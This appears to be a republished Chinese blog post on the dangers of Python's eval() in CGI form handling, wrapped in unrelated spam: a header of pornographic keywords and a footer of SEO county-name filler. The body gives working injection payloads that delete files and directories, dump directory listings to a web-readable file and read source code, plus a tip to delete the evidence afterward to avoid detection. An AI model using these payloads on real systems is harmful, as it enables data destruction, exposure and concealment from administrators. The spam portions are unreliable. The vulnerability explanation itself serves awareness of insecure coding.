国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

Python之eval()函數危險性淺析

2019-11-25 18:20:54
字體:
來源:轉載
供稿:網友

一般來說Python的eval()函數可以把字符串“123”變成數字類型的123,但是PP3E上說它很危險,還可以執行其他命令!

對此進行一些試驗。果然,如果python寫的cgi程序中如果使用eval()而非int()來轉換諸如年齡這樣的輸入框中的內容時是非常危險的。不僅可以看見列出系統的全部文件,還可以執行刪除文件,察看文件源代碼等危險操作!

試著寫了個程序,想把本地的腳本文件同過這樣的形式一行一行的寫到服務器的某個文件里,可最后失敗在無法輸入換行符"/n",在提交的語句里只要有換行符,就會出現EOL的出錯提示,換了編碼方式還是沒能成功。
 
網頁里有一個提交名字的窗口,這里只是以改它為例,否則名字是不會用eval函數轉換的,不過年齡到是很容易出問題。這個文件(http://localhost/tutor4.html)導入了os。

line1 = "Hello, %s." % eval(form['user'].value)

(1)

os.system('del * /q') #刪除當前目錄下所有文件(不包括文件夾)。

os.system調用當前系統的命令(如windows)

/q
指定強制狀態。不提示您確認刪除。

(2)若刪除文件夾,使用rmdir

/s
刪除指定目錄和所有子目錄以及包含的所有文件。使用 /s 來刪除目錄樹。

/q
在安靜模式中運行 rmdir。不經確認即刪除目錄。

os.system('rmdir d:/workspace /s/q')

(3)列出所有文件os.system('dir')。因為成功執行了dir命令后,系統返回0,所以看到的返回內容只能是Hello,0.而在服務器上,倒是真的列出來了,如果有日志,可能被發現。提交os.system('dir >dir.txt'),那么訪問http://localhost/dir.txt那么所有的文件和文件夾都暴露了,想看源代碼嗎?如果再使用os.system('type target.py').命令如果成功完成同樣會返回Hello, 0.的。難道再放進一個文件,再訪問那個文件嗎?open('target.py').read()

由此,可以在列出和察看其他文件夾里面的內容了。

如果沒干別的壞事,那么可刪除dir.txt以免被人發現了。os.system('del dir.txt /q')

導入os并執行命令:

__import__('os').system('dir >dir.txt')
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 永登县| 灵武市| 锡林郭勒盟| 伽师县| 巨野县| 即墨市| 阿勒泰市| 新化县| 克什克腾旗| 东安县| 梁山县| 桂林市| 孝昌县| 萍乡市| 荔浦县| 化德县| 雷波县| 漠河县| 旬邑县| 佛坪县| 长治市| 贺州市| 丹寨县| 环江| 含山县| 马关县| 科技| 襄汾县| 威海市| 青田县| 平陆县| 阜阳市| 迁安市| 泸西县| 龙游县| 海丰县| 晋中市| 霍林郭勒市| 青阳县| 天门市| 安吉县|